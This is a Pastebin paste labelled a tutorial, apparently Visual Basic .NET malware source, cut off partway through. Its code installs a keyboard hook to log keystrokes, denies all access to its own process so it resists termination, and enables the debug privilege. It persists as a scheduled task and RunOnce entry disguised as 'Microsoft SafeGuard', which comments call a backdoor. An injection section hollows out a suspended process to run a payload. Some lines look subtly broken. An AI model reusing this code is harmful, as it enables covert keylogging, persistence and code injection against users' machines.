Advertisement
Rythorian

Tutorial1

Nov 16th, 2024
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 74.12 KB | None | 0 0
  1. Imports System.ComponentModel
  2. Imports System.IO
  3. Imports System.Runtime.InteropServices
  4. Imports System.Security.AccessControl
  5. Imports System.Security.Principal
  6. Imports System.Text
  7. Imports System.Threading
  8.  
  9. Public Class Form1
  10.  
  11. #Region "Global Variables"
  12.  
  13. Private ReadOnly myLock As New Object
  14. Private Const READ_CONTROL As Integer = &H20000
  15. Private Const STANDARD_RIGHTS_REQUIRED As Integer = &HF0000
  16. Private Const STANDARD_RIGHTS_READ As Integer = READ_CONTROL
  17. Private Const STANDARD_RIGHTS_WRITE As Integer = READ_CONTROL
  18. Private Const STANDARD_RIGHTS_EXECUTE As Integer = READ_CONTROL
  19. Private Const STANDARD_RIGHTS_ALL As Integer = &H1F0000
  20. Private Const SPECIFIC_RIGHTS_ALL As Integer = &HFFFF
  21. Private Const TOKEN_ASSIGN_PRIMARY As Integer = &H1
  22. Private Const TOKEN_DUPLICATE As Integer = &H2
  23. Private Const TOKEN_IMPERSONATE As Integer = &H4
  24. Private Const TOKEN_QUERY As Integer = &H8
  25. Private Const TOKEN_QUERY_SOURCE As Integer = &H10
  26. Private Const TOKEN_ADJUST_PRIVILEGES As Integer = &H20
  27. Private Const TOKEN_ADJUST_GROUPS As Integer = &H40
  28. Private Const TOKEN_ADJUST_DEFAULT As Integer = &H80
  29. Private Const TOKEN_ADJUST_SESSIONID As Integer = &H100
  30. Private Const SE_DEBUG_NAME = "SeDebugPrivilege"
  31. Private Const SE_PRIVILEGE_ENABLED = 2
  32.  
  33. Private Const PROCESS_QUERY_INFORMATION = &H4
  34. Private Const WM_KEYDOWN As Integer = &H100
  35. Private Shared _hookID As IntPtr = IntPtr.Zero
  36. Private Shared CurrentActiveWindowTitle As String
  37. Public Const THREAD_SUSPEND_RESUME As UInteger = 2
  38. Private Shared ReadOnly WHKEYBOARDLL As Integer = 13
  39. Private Shared ReadOnly _proc As LowLevelKeyboardProc = AddressOf HookCallback
  40.  
  41. Private Shared ReadOnly Property Proc As LowLevelKeyboardProc
  42. Get
  43. Return _proc
  44. End Get
  45. End Property
  46.  
  47. #End Region
  48.  
  49. 'The Microsoft Windows security model enables you to control access to process objects.
  50. 'This access token describes the security context of all processes associated with the user.
  51. 'The security context of a process is the set of credentials given to the process or the user account that
  52. 'created the process.
  53. '>>>NOTE:
  54. 'It is near impossible to create a process that Admin can't kill, however, using: (Application.Restart)
  55. 'in a "form closing" event can really make a process tough to kill,
  56. 'especially if you create child processes to watch the parent program.
  57.  
  58. #Region "House Of Enum"
  59.  
  60. <Flags>
  61. Public Enum ProcessAccessRights
  62. PROCESS_CREATE_PROCESS = &H80
  63. PROCESS_CREATE_THREAD = &H2
  64. PROCESS_DUP_HANDLE = &H40
  65. PROCESS_QUERY_INFORMATION = &H400
  66. PROCESS_QUERY_LIMITED_INFORMATION = &H1000
  67. PROCESS_SET_INFORMATION = &H200
  68. PROCESS_SET_QUOTA = &H100
  69. PROCESS_SUSPEND_RESUME = &H800
  70. PROCESS_TERMINATE = &H1
  71. PROCESS_VM_OPERATION = &H8
  72. PROCESS_VM_READ = &H10
  73. PROCESS_VM_WRITE = &H20
  74. DELETE = &H10000
  75. READ_CONTROL = &H20000
  76. SYNCHRONIZE = &H100000
  77. WRITE_DAC = &H40000
  78. WRITE_OWNER = &H80000
  79. STANDARD_RIGHTS_REQUIRED = &HF0000
  80. PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
  81. End Enum
  82.  
  83. Public Enum ShowWindowType
  84. Hide = 0
  85. Minimized = 1
  86. Maximized = 2
  87. Restore = 9
  88. End Enum
  89.  
  90. Enum TOKEN_INFORMATION_CLASS
  91. TokenUser = 1
  92. TokenGroups
  93. TokenPrivileges
  94. TokenOwner
  95. TokenPrimaryGroup
  96. TokenDefaultDacl
  97. TokenSource
  98. TokenType
  99. TokenImpersonationLevel
  100. TokenStatistics
  101. TokenRestrictedSids
  102. TokenSessionId
  103. TokenGroupsAndPrivileges
  104. TokenSessionReference
  105. TokenSandBoxInert
  106. TokenAuditPolicy
  107. TokenOrigin
  108. TokenElevationType
  109. TokenLinkedToken
  110. TokenElevation
  111. TokenHasRestrictions
  112. TokenAccessInformation
  113. TokenVirtualizationAllowed
  114. TokenVirtualizationEnabled
  115. TokenIntegrityLevel
  116. TokenUIAccess
  117. TokenMandatoryPolicy
  118. TokenLogonSid
  119. MaxTokenInfoClass
  120. End Enum
  121.  
  122. #End Region
  123.  
  124. #Region "House Of Structures"
  125.  
  126. Private Structure PROCESS_INFORMATION
  127. Public hProcess As IntPtr
  128. Public hThread As IntPtr
  129. Public dwProcessId As UInteger
  130. Public dwThreadId As UInteger
  131. End Structure
  132.  
  133. Private Structure STARTUPINFO
  134. Public cb As UInteger
  135. Public lpReserved As String
  136. Public lpDesktop As String
  137. Public lpTitle As String
  138.  
  139. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=36)>
  140. Public Misc As Byte()
  141.  
  142. Public lpReserved2 As Byte
  143. Public hStdInput As IntPtr
  144. Public hStdOutput As IntPtr
  145. Public hStdError As IntPtr
  146. End Structure
  147.  
  148. Structure FLOATING_SAVE_AREA
  149. Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
  150. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
  151. Dim State As UInteger
  152. End Structure
  153.  
  154. Structure CONTEXT32
  155. Dim ContextFlags, Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 As UInteger
  156. Dim FloatSave As FLOATING_SAVE_AREA
  157. Dim SegGs, SegFs, SegEs, SegDs, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SegCs, EFlags, Esp, SegSs As UInteger
  158. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim ExtendedRegisters As Byte()
  159. End Structure
  160.  
  161. Structure PROCESS_BASIC_INFORMATION
  162. Public ExitStatus As IntPtr
  163. Public PebBaseAddress As IntPtr
  164. Public AffinityMask As IntPtr
  165. Public BasePriority As IntPtr
  166. Public UniqueProcessID As IntPtr
  167. Public InheritedFromUniqueProcessId As IntPtr
  168. End Structure
  169.  
  170. Structure LUID
  171. Public LowPart As Integer
  172. Public HighPart As Integer
  173. End Structure
  174.  
  175. Structure TOKEN_PRIVILEGES
  176. Public PrivilegeCount As Integer
  177. Public Luid As LUID
  178. Public Attributes As Integer
  179. End Structure
  180.  
  181. #End Region
  182.  
  183. #Region "House Of API"
  184.  
  185. Private Delegate Function LowLevelKeyboardProc(nCode As Integer,
  186. wParam As IntPtr,
  187. lParam As IntPtr) As IntPtr
  188.  
  189. <DllImport("User32")>
  190. Private Shared Function ShowWindow(handle As IntPtr,
  191. hideType As ShowWindowType) As Integer
  192. End Function
  193.  
  194. Declare Function LoadLibraryA Lib "kernel32" (Name As String) As IntPtr
  195. Private Declare Function SetProcessWorkingSetSize Lib "kernel32.dll" (hProcess As IntPtr,
  196. dwMinimumWorkingSetSize As Integer,
  197. dwMaximumWorkingSetSize As Integer) As Integer
  198. Declare Function GetProcAddress Lib "kernel32" (hProcess As IntPtr,
  199. Name As String) As IntPtr
  200.  
  201. <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
  202. Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
  203. End Function
  204.  
  205. <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
  206. Private Shared Function SetWindowsHookEx(idHook As Integer,
  207. lpfn As LowLevelKeyboardProc,
  208. hMod As IntPtr,
  209. dwThreadId As UInteger) As IntPtr
  210. End Function
  211.  
  212. <DllImport("advapi32.dll", SetLastError:=True)>
  213. Private Shared Function SetKernelObjectSecurity(Handle As IntPtr,
  214. securityInformation As Integer,
  215. <[In]> pSecurityDescriptor As Byte()) As Boolean
  216.  
  217. End Function
  218.  
  219. <DllImport("kernel32.dll")>
  220. Public Shared Function GetCurrentProcess() As IntPtr
  221. End Function
  222.  
  223. <DllImport("ntdll.dll", SetLastError:=True)>
  224. Private Shared Function NtSetInformationProcess(hProcess As IntPtr, processInformationClass As Integer,
  225. ByRef processInformation As Integer,
  226. processInformationLength As Integer) As Integer
  227. End Function
  228.  
  229. 'UnhookWindowsHookEx : The hook procedure can be In the state Of being called by another thread even after UnhookWindowsHookEx returns.
  230. 'If the hook procedure Is Not being called concurrently, the hook procedure Is removed immediately before UnhookWindowsHookEx returns.
  231. <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
  232. Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
  233. End Function
  234.  
  235. 'CallNextHookEx: Hook procedures are installed in chains for particular hook types. CallNextHookEx calls the next hook in the chain.
  236. <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
  237. Private Shared Function CallNextHookEx(hhk As IntPtr,
  238. nCode As Integer,
  239. wParam As IntPtr,
  240. lParam As IntPtr) As IntPtr
  241. End Function
  242.  
  243. <DllImport("user32.dll", SetLastError:=True)>
  244. Private Shared Function GetProcessWindowStation() As IntPtr
  245. End Function
  246.  
  247. <DllImport("user32.dll", SetLastError:=True)>
  248. Private Shared Function GetThreadDesktop(dwThreadId As Integer) As IntPtr
  249. End Function
  250.  
  251. <DllImport("kernel32.dll", SetLastError:=True)>
  252. Private Shared Function GetCurrentThreadId() As Integer
  253. End Function
  254.  
  255. <DllImport("user32.dll")>
  256. Private Shared Function GetForegroundWindow() As IntPtr
  257. End Function
  258.  
  259. 'GetWindowThreadProcessId:Retrieves the identifier of the thread that created the specified window and, optionally,
  260. 'the identifier of the process that created the window.
  261. <DllImport("user32.dll", SetLastError:=True)>
  262. Private Shared Function GetWindowThreadProcessId(hWnd As IntPtr,
  263. <Out> ByRef lpdwProcessId As UInteger) As UInteger
  264. End Function
  265.  
  266. 'GetKeyState: The key status returned from this function changes as a thread reads key messages from its message queue.
  267. 'The status does not reflect the interrupt-level state associated with the hardware. Use the GetKeyState function to retrieve
  268. 'that information.
  269. <DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
  270. Public Shared Function GetKeyState(keyCode As Integer) As Short
  271. End Function
  272.  
  273. 'An application can call this function to retrieve the current status of all the virtual keys.
  274. 'The status changes as a thread removes keyboard messages from its message queue. The status does not change as keyboard messages
  275. 'are posted to the thread's message queue, nor does it change as keyboard messages are posted to or retrieved from message queues
  276. 'of other threads. (Exception: Threads that are connected through AttachThreadInput share the same keyboard state.)
  277. <DllImport("user32.dll", SetLastError:=True)>
  278. Private Shared Function GetKeyboardState(lpKeyState As Byte()) As <MarshalAs(UnmanagedType.Bool)> Boolean
  279. End Function
  280.  
  281. 'GetKeyboardLayout: The input locale identifier is a broader concept than a keyboard layout, since it can also encompass a speech-to-text
  282. 'converter, an Input Method Editor (IME), or any other form of input.
  283. <DllImport("user32.dll")>
  284. Private Shared Function GetKeyboardLayout(idThread As UInteger) As IntPtr
  285. End Function
  286.  
  287. 'ToUnicodeEx:The input locale identifier is a broader concept than a keyboard layout, since it can also encompass a speech-to-text converter,
  288. 'an Input Method Editor (IME), or any other form of input.
  289. <DllImport("user32.dll")>
  290. Private Shared Function ToUnicodeEx(wVirtKey As UInteger,
  291. wScanCode As UInteger,
  292. lpKeyState As Byte(),
  293. <Out, MarshalAs(UnmanagedType.LPWStr)> pwszBuff As StringBuilder,
  294. cchBuff As Integer,
  295. wFlags As UInteger,
  296. dwhkl As IntPtr) As Integer
  297. End Function
  298.  
  299. 'MapVirtualKey: An application can use MapVirtualKey to translate scan codes to the virtual-key code constants VK_SHIFT, VK_CONTROL, and VK_MENU,
  300. 'and vice versa. These translations do not distinguish between the left and right instances of the SHIFT, CTRL, or ALT keys.
  301. <DllImport("user32.dll")>
  302. Private Shared Function MapVirtualKey(uCode As UInteger,
  303. uMapType As UInteger) As UInteger
  304. End Function
  305.  
  306. <DllImport("gdi32.dll")>
  307. Private Shared Function BitBlt(hdc As IntPtr,
  308. nXDest As Integer,
  309. nYDest As Integer,
  310. nWidth As Integer,
  311. nHeight As Integer,
  312. hdcSrc As IntPtr,
  313. nXSrc As Integer,
  314. nYSrc As Integer,
  315. dwRop As CopyPixelOperation) As Boolean
  316. End Function
  317.  
  318. <DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  319. Private Shared Function FindWindow(lpClassName As String,
  320. lpWindowName As String) As IntPtr
  321. End Function
  322.  
  323. 'My.Computer.Audio.Play(My.Resources.departure, AudioPlayMode.Background)
  324. <DllImport("kernel32.dll", EntryPoint:="SuspendThread")>
  325. Public Shared Function SuspendThread(<[In]()> hThread As IntPtr) As UInteger
  326. End Function
  327.  
  328. <DllImport("kernel32.dll", EntryPoint:="OpenThread")>
  329. Public Shared Function OpenThread(dwDesiredAccess As UInteger,
  330. <MarshalAs(UnmanagedType.Bool)> bInheritHandle As Boolean,
  331. dwThreadId As UInteger) As IntPtr
  332. End Function
  333.  
  334. <DllImport("advapi32.dll", SetLastError:=True)>
  335. Private Shared Function GetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer,
  336. <Out> pSecurityDescriptor As Byte(), nLength As UInteger, <Out> ByRef lpnLengthNeeded As UInteger) As Boolean
  337. End Function
  338.  
  339. Declare Auto Function CloseHandle Lib "kernel32.dll" (hObject As IntPtr) As Boolean
  340. Declare Function CloseHandle Lib "kernel32" Alias "CloseHandle" (hObject As Integer) As Integer
  341.  
  342. Private Declare Function OpenProcessToken Lib "advapi32" (ProcessHandle As IntPtr,
  343. DesiredAccess As Integer,
  344. ByRef TokenHandle As Integer) As Integer
  345. Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (lpSystemName As String,
  346. lpName As String,
  347. ByRef lpLuid As LUID) As Integer
  348. Private Declare Function AdjustTokenPrivileges Lib "advapi32" (TokenHandle As Integer,
  349. DisableAllPrivileges As Boolean,
  350. ByRef NewState As TOKEN_PRIVILEGES,
  351. BufferLength As Integer,
  352. ByRef PreviousState As TOKEN_PRIVILEGES,
  353. ByRef ReturnLength As Integer) As Integer
  354.  
  355. #End Region
  356.  
  357. <Obsolete>
  358. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  359. _hookID = SetHook(Proc)
  360. ReleaseRAM()
  361. GrantAccess()
  362. 'Below, we use
  363. 'SubContractors()
  364. 'SoilWork()
  365. 'This is where child processes are
  366. 'HiddenProcess1()
  367. 'HiddenProcess2()
  368. Dim hProcess As IntPtr = GetCurrentProcess()
  369. Dim dacl = GetProcessSecurityDescriptor(hProcess)
  370. For i As Integer = dacl.DiscretionaryAcl.Count - 1 To 0 + 1
  371. dacl.DiscretionaryAcl.RemoveAce(i)
  372. Next
  373.  
  374. ' My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
  375.  
  376. dacl.DiscretionaryAcl.InsertAce(0, New CommonAce(AceFlags.None, AceQualifier.AccessDenied, ProcessAccessRights.PROCESS_ALL_ACCESS, New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing), False, Nothing))
  377. SetProcessSecurityDescriptor(hProcess, dacl)
  378. Dim identity = WindowsIdentity.GetCurrent()
  379. Dim principal = New WindowsPrincipal(identity)
  380. Dim isElevated As Boolean = principal.IsInRole(WindowsBuiltInRole.Administrator)
  381.  
  382. 'Disable Task Manager
  383. ' Dim key As RegistryKey
  384. 'key = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)
  385. 'key.SetValue("DisableTaskMgr", "1", RegistryValueKind.DWord)
  386. 'key.Close()
  387. End Sub
  388.  
  389. #Region " GPO Security Identifier | Creators Owner ID, (Highest Mandatory Level) | Schedule Task "
  390. 'GPO cmdlet creates a GPO with a specified name. By default, the newly created GPO is not linked to a site,
  391. 'domain, or organizational unit (OU).
  392. 'You can use this cmdlet To create a GPO that Is based On a starter GPO by specifying the GUID Or the display name
  393. 'Of the Starter GPO, Or by piping a StarterGpo Object into the cmdlet.
  394. 'The cmdlet returns a GPO Object, which represents the created GPO that you can pipe "To other Group Policy cmdlets"....
  395. Function GPO(cmd As String, Optional args As String = "", Optional startin As String = "") As String
  396. GPO = ""
  397. Try
  398. Dim p = New Process With {
  399. .StartInfo = New ProcessStartInfo(cmd, args)
  400. }
  401. If startin <> "" Then p.StartInfo.WorkingDirectory = startin
  402. p.StartInfo.RedirectStandardOutput = True
  403. p.StartInfo.RedirectStandardError = True
  404. p.StartInfo.UseShellExecute = False
  405. p.StartInfo.CreateNoWindow = True
  406. p.Start()
  407. p.WaitForExit()
  408. Dim s = p.StandardOutput.ReadToEnd
  409. s += p.StandardError.ReadToEnd
  410. GPO = s
  411. Catch ex As Exception
  412. End Try
  413. End Function ' Get Process Output.
  414.  
  415. 'Possession Part of Owning System Via; Security Identifier
  416. Function CanH() As Boolean
  417. CanH = False
  418. 'Displays user, group and privileges information for the user who is currently logged on to the local system.
  419. 'If used without parameters, whoami displays the current domain and user name.
  420. Dim s = GPO("c: \windows\system32\cmd.exe", "/c whoami /all | findstr /I /C:""S-1-5-32-544""") '<<This is a Security Identifier
  421. If s.Contains("S-1-5-32-544") Then CanH = True
  422. End Function ' Check if can get Higher.
  423.  
  424. 'Below: Creators Owner ID has discovered the "Security Identifier" to be replaced by the "S-1-16-12288", (High Mandatory Level) ADMIN
  425. Function CH() As Boolean
  426. CH = False
  427. Dim s = GPO("c:\windows\system32\cmd.exe", "/c whoami /all | findstr /I /C:""S-1-16-12288""")
  428. If s.Contains("S-1-16-12288") Then CH = True
  429. End Function ' Check if Higher.
  430.  
  431. Function GH() As Boolean
  432. GH = False
  433. If Not CH() Then
  434. 'Elevating process privilege programmatically
  435. Dim pc As New ProcessStartInfo(Process.GetCurrentProcess.MainModule.FileName) With {
  436. .Verb = "runas"
  437. }
  438. Try
  439. Dim p = Process.Start(pc)
  440. Return True
  441. Catch ex As Exception
  442. Return False
  443. End Try
  444. End If
  445. End Function ' Get Higher.
  446. 'Now that the information is gathered, we create a backdoor into the system via entry od Task Scheduler
  447. 'with the highest Logon.
  448. Private Sub SubContractors()
  449. ' StartUp BackgroundWorker to schedule a task
  450. Dim subw As New BackgroundWorker()
  451. AddHandler subw.DoWork, Sub(sender1 As Object, e1 As DoWorkEventArgs)
  452. While True
  453. Try
  454. If CH() Then
  455. If Not GPO("c:\windows\system32\cmd.exe", "/C schtasks /create /rl HIGHEST /sc ONLOGON /tn Microsoft SafeGuard /F /tr """"" & Process.GetCurrentProcess.MainModule.FileName & """""").Contains("successfully") Then
  456. My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Microsoft SafeGuard", Process.GetCurrentProcess.MainModule.FileName)
  457. End If
  458. Else
  459. My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Microsoft SafeGuard", Process.GetCurrentProcess.MainModule.FileName)
  460. End If
  461. Catch ex As Exception
  462. End Try
  463. Thread.Sleep(15000)
  464. End While
  465. End Sub
  466. subw.RunWorkerAsync()
  467. End Sub
  468.  
  469. Private Sub SoilWork()
  470. On Error Resume Next
  471. Dim p As New Process
  472. With p.StartInfo
  473. .FileName = "schtasks.exe"
  474. .Arguments = ("/C schtasks /create /rl HIGHEST /sc ONLOGON /tn Microsoft SafeGuard /F /tr """"" & Process.GetCurrentProcess.MainModule.FileName & """""").Contains("successfully")
  475. .UseShellExecute = False
  476. .RedirectStandardOutput = True
  477. .CreateNoWindow = True
  478. End With
  479. My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Microsoft SafeGuard", Process.GetCurrentProcess.MainModule.FileName)
  480. p.Start()
  481.  
  482. Dim s As String = p.StandardOutput.ReadToEnd
  483. Debug.WriteLine(s, "Create Task Results")
  484. End Sub
  485. #End Region
  486.  
  487. Private Function DebugPrivs(Enable As Boolean) As Boolean
  488. Dim hProcess As Long
  489. Dim DesiredAccess As Long
  490. Dim hToken As IntPtr
  491. Dim tkp As TOKEN_PRIVILEGES
  492. Dim nRet As Long
  493. ' Cache a copy of priviliges as we found them.
  494. Dim bup As TOKEN_PRIVILEGES
  495. ' Get psuedohandle to current process.
  496. hProcess = Process.GetCurrentProcess().Handle
  497. ' Ask for handle to query and adjust process tokens.
  498. DesiredAccess = TOKEN_QUERY Or TOKEN_ADJUST_PRIVILEGES
  499. If OpenProcessToken(hProcess, DesiredAccess, hToken) Then
  500. ' Get LUID for backup privilege name.
  501. If LookupPrivilegeValue(
  502. vbNullString, SE_DEBUG_NAME, tkp.Luid) Then
  503. If Enable Then
  504. ' Enable the debug priviledge.
  505. tkp.PrivilegeCount = 1
  506. tkp.Attributes = SE_PRIVILEGE_ENABLED
  507. If AdjustTokenPrivileges(
  508. hToken, False, tkp, Len(bup), bup, nRet) Then
  509. DebugPrivs = True
  510. End If
  511. Else
  512. ' Restore prior debug privilege setting.
  513. If AdjustTokenPrivileges(
  514. hToken, False, bup, Len(bup), bup, nRet) Then
  515. DebugPrivs = True
  516. End If
  517. End If
  518. End If
  519. ' Clean up token handle.
  520. Call CloseHandle(hToken.ToInt32)
  521. End If
  522. End Function
  523.  
  524. #Region "Injection"
  525.  
  526. Private Function CreateApi(Of T)(Name As String, Method As String) As T
  527. Return DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), GetType(T)), Object)
  528. End Function
  529.  
  530. Private Delegate Function ReadProcessMemoryParameters(hProcess As UInteger, lpBaseAddress As IntPtr, ByRef lpBuffer As Integer, nSize As IntPtr, ByRef lpNumberOfBytesWritten As IntPtr) As Boolean
  531.  
  532. ReadOnly ReadProcessMemory As ReadProcessMemoryParameters = CreateApi(Of ReadProcessMemoryParameters)("kernel32", "ReadProcessMemory")
  533.  
  534. Private Delegate Function CreateProcessParameters(
  535. ApplicationName As String,
  536. CommandLine As String,
  537. ProcessAttributes As IntPtr,
  538. ThreadAttributes As IntPtr,
  539. InheritHandles As Boolean,
  540. CreationFlags As UInteger,
  541. Environment As IntPtr,
  542. CurrentDirectory As String,
  543. ByRef StartupInfo As STARTUPINFO,
  544. ByRef ProcessInformation As PROCESS_INFORMATION) As Boolean
  545.  
  546. ReadOnly CreateProcess As CreateProcessParameters = CreateApi(Of CreateProcessParameters)("kernel32", "CreateProcessA")
  547.  
  548. Private Delegate Function NtQueryInformationProcessParameters(hProcess As IntPtr,
  549. ProcessInformationClass As Integer,
  550. ByRef ProcessInformation As PROCESS_BASIC_INFORMATION,
  551. ProcessInformationLength As UInteger,
  552. ByRef ReturnLength As UIntPtr) As UInteger
  553.  
  554. ReadOnly NtQueryInformationProcess As NtQueryInformationProcessParameters = CreateApi(Of NtQueryInformationProcessParameters)("ntdll", "NtQueryInformationProcess")
  555.  
  556. Private Delegate Function GetThreadContext64Parameters(
  557. hThread As IntPtr,
  558. ByRef lpContext As CONTEXT32) As Boolean
  559.  
  560. Dim GetThreadContext64 As GetThreadContext64Parameters = Nothing
  561.  
  562. Private Delegate Function IsWow64ProcessParameters(
  563. hProcess As IntPtr,
  564. ByRef Wow64Process As Boolean) As Boolean
  565.  
  566. ReadOnly IsWow64Process As IsWow64ProcessParameters = CreateApi(Of IsWow64ProcessParameters)("kernel32", "IsWow64Process")
  567.  
  568. Private Delegate Function WriteProcessMemoryParameters(
  569. hProcess As IntPtr,
  570. lpBaseAddress As IntPtr,
  571. lpBuffer As Byte(),
  572. nSize As UInteger,
  573. ByRef lpNumberOfBytesWritten As UInteger) As Boolean
  574.  
  575. ReadOnly WriteProcessMemory As WriteProcessMemoryParameters = CreateApi(Of WriteProcessMemoryParameters)("kernel32", "WriteProcessMemory")
  576.  
  577. Private Delegate Function NtUnmapViewOfSectionParameters(
  578. hProcess As IntPtr,
  579. pBaseAddress As IntPtr) As UInteger
  580.  
  581. ReadOnly NtUnmapViewOfSection As NtUnmapViewOfSectionParameters = CreateApi(Of NtUnmapViewOfSectionParameters)("ntdll", "NtUnmapViewOfSection")
  582.  
  583. Private Delegate Function VirtualAllocExParameters(
  584. hProcess As IntPtr,
  585. lpAddress As IntPtr,
  586. dwSize As UInteger,
  587. flAllocationType As UInteger,
  588. flProtect As UInteger) As IntPtr
  589.  
  590. ReadOnly VirtualAllocEx As VirtualAllocExParameters = CreateApi(Of VirtualAllocExParameters)("kernel32", "VirtualAllocEx")
  591.  
  592. Private Delegate Function ResumeThreadParameters(
  593. hThread As IntPtr) As UInteger
  594.  
  595. ReadOnly ResumeThread As ResumeThreadParameters = CreateApi(Of ResumeThreadParameters)("kernel32", "ResumeThread")
  596.  
  597. Public Function Run(path As String, payload As Byte(), creationflag As Integer) As Boolean
  598. For I As Integer = 1 To 5
  599. If HandleRun(path, payload, creationflag) Then Return True
  600. Next
  601. Return False
  602. End Function
  603.  
  604. Private Function HandleRun(Path As String, payload As Byte(), creationflag As Integer) As Boolean
  605. Dim ReadWrite As Integer = Nothing
  606. Dim QuotedPath As String = String.Format("""{0}""", Path)
  607. Dim SI As New STARTUPINFO
  608. Dim PI As New PROCESS_INFORMATION
  609. SI.cb = CUInt(Marshal.SizeOf(GetType(STARTUPINFO))) 'Parses the size of the structure to the structure, so it retrieves the right size of data
  610. Try
  611. 'COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
  612. If Not CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, True, creationflag, IntPtr.Zero, Directory.GetCurrentDirectory, SI, PI) Then Throw New Exception()
  613. 'COMMENT: Defines some variables we need in the next process
  614. Dim ProccessInfo As New PROCESS_BASIC_INFORMATION
  615. Dim RetLength As UInteger
  616. Dim Context = Nothing
  617. Dim PEBAddress32 As Integer = Nothing
  618. Dim PEBAddress64 As Long = Nothing
  619. Dim TargetIs64 As Boolean = Nothing
  620. Dim IsWow64Proc As Boolean = False
  621. IsWow64Process(PI.hProcess, IsWow64Proc) 'COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
  622. If IsWow64Proc Or IntPtr.Size = 4 Then 'COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
  623. Context = New CONTEXT32 With {
  624. .ContextFlags = &H1000002L 'COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
  625. }
  626. If IsWow64Proc AndAlso IntPtr.Size = 8 Then 'COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
  627. GetThreadContext64 = CreateApi(Of GetThreadContext64Parameters)("kernel32", "Wow64GetThreadContext") 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  628. If Not GetThreadContext64(PI.hThread, Context) Then Throw New Exception
  629. Console.WriteLine(Context.Ebx)
  630. PEBAddress32 = Context.Ebx
  631. TargetIs64 = False
  632. Else 'COMMENT: If our process is 32bit and the target process is 32bit we get here.
  633. NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  634. PEBAddress32 = ProccessInfo.PebBaseAddress
  635. TargetIs64 = False
  636. End If
  637. Else 'COMMENT: If our process is 64bit and the target process is 64bit we get here.
  638. NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  639. PEBAddress64 = ProccessInfo.PebBaseAddress
  640. TargetIs64 = True
  641. End If
  642. Dim BaseAddress As IntPtr
  643. If TargetIs64 = True Then
  644. ReadProcessMemory(PI.hProcess, PEBAddress64 + &H10, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
  645. Else
  646. ReadProcessMemory(PI.hProcess, PEBAddress32 + &H8, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
  647. End If
  648. Dim PayloadIs64 As Boolean = False
  649. Dim dwPEHeaderAddress As Integer = BitConverter.ToInt32(payload, &H3C) 'COMMENT: Gets the PEHeader start address
  650. Dim dwNetDirFlags As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H398) 'COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
  651. Dim wMachine As Integer = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H4) 'COMMENT: Gets the reads the Machine value
  652. If wMachine = 8664 Then : PayloadIs64 = True 'Checks the Machine value to know if payload is 64bit or not"
  653. Else : PayloadIs64 = False : End If
  654. If PayloadIs64 = False Then
  655. If dwNetDirFlags = &H3 Then 'To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
  656. Buffer.SetByte(payload, dwPEHeaderAddress + &H398, &H1) 'Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
  657. End If
  658. End If
  659. Dim dwImageBase As Integer
  660. If PayloadIs64 = True Then
